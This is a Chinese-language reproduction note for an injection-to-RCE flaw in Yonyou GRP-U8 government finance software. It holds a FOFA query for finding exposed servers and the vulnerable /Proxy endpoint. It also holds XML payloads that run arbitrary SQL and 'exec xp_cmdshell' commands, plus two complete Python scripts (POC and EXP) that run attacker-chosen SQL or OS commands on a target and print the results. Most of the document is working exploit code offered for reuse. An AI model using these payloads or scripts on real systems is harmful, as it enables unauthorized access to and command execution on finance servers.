用友GRP-u8 注入-RCE漏洞
工作中遇到的漏洞,基于前人的复现教程成功复现,记录下自己的复现笔记,如有侵权,请联系我删除
漏洞详情
用友GRP-U8R10行政事业财务管理软件是用友公司专注于国家电子政务事业,基于云计算技术所推出的新一代产品,是我国行政事业财务领域最专业的政府财务管理软件。
该系统被曝存在XXE漏洞,该漏洞源于应用程序解析XML输入时没有进制外部实体的加载,导致可加载恶意外部文件。最终产生两种后果,一是可以进行SQL注入,执行SQL语句;二是导致命令执行,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。
漏洞复现
用友GRP-u8 XXE漏洞(XML External Entity-XML外部实体注入)
fofa搜索语句 title=“GRP-U8”
1、使用hackbar POST方式上传数据包,BrupSuite进行抓包;
漏洞位置:
http://ip:port/Proxy
u8qx/Tindex.jsp
2、抓包后,修改数据包,插入XML语句,这里是执行了sql语句(没必要排版,直接有数据就行,我只是为了好看)
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?>
<R9PACKET version="1">
<DATAFORMAT>XML</DATAFORMAT>
<R9FUNCTION>
<NAME>AS_DataRequest</NAME>
<PARAMS><PARAM>
<NAME>ProviderName</NAME>
<DATA format="text">DataSetProviderData</DATA>
</PARAM><PARAM>
<NAME>Data</NAME>
<DATA format="text">select user,db_name(),host_name(),@@version</DATA>
</PARAM></PARAMS>
</R9FUNCTION>
</R9PACKET>
3、改为利用sql server命令执行
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?>
<R9PACKET version="1">
<DATAFORMAT>XML</DATAFORMAT>
<R9FUNCTION>
<NAME>AS_DataRequest</NAME>
<PARAMS><PARAM>
<NAME>ProviderName</NAME>
<DATA format="text">DataSetProviderData</DATA>
</PARAM><PARAM>
<NAME>Data</NAME>
<DATA format="text">exec xp_cmdshell 'dir'</DATA>
</PARAM></PARAMS>
</R9FUNCTION>
</R9PACKET>
4、使用POC验证结果
Python POC 源代码
GRP-U8_SQLinjection_POC
#!/usr/bin/env python2
#coding:utf-8
import re
import requests
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
if len(sys.argv) != 3:
print "Usage: python poc.py url sql"
sys.exit(1)
url = sys.argv[1]
sql = sys.argv[2]
headers = {
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36",
"Content-Type":"application/x-www-form-urlencoded",
}
def poc(url,sql):
url = url + '/Proxy'
print url
data = 'cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">'+sql+'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>'
res = requests.post(url,headers=headers,data=data)
res = res.text
result_row = r'<ROW COLUMN1="(.*?)"'
ROW = re.findall(result_row,res,re.S | re.M)
print '查询成功!'
print ROW[0]
if __name__ == "__main__":
poc(sys.argv[1],sys.argv[2])
GRP-U8_SQLinjection_EXP
#!/usr/bin/env python2
#coding:utf-8
import re
import requests
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
if len(sys.argv) != 3:
print "Usage: python exp.py url cmd"
sys.exit(1)
url = sys.argv[1]
cmd = sys.argv[2]
headers = {
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36",
"Content-Type":"application/x-www-form-urlencoded",
}
def exp(url,cmd):
url = url+ '/Proxy'
print url
data = 'cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell \''+cmd+'\'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>'
res = requests.post(url,headers=headers,data=data)
res = res.text
result_row = r'<ROW output="(.*?)" />'
ROW = re.findall(result_row,res,re.S | re.M)
print '命令执行成功!'
for i in range(len(ROW)):
print ROW[i]
if __name__ == "__main__":
exp(sys.argv[1],sys.argv[2])
参考文章
https://blog.youkuaiyun.com/weixin_44146996/article/details/109863346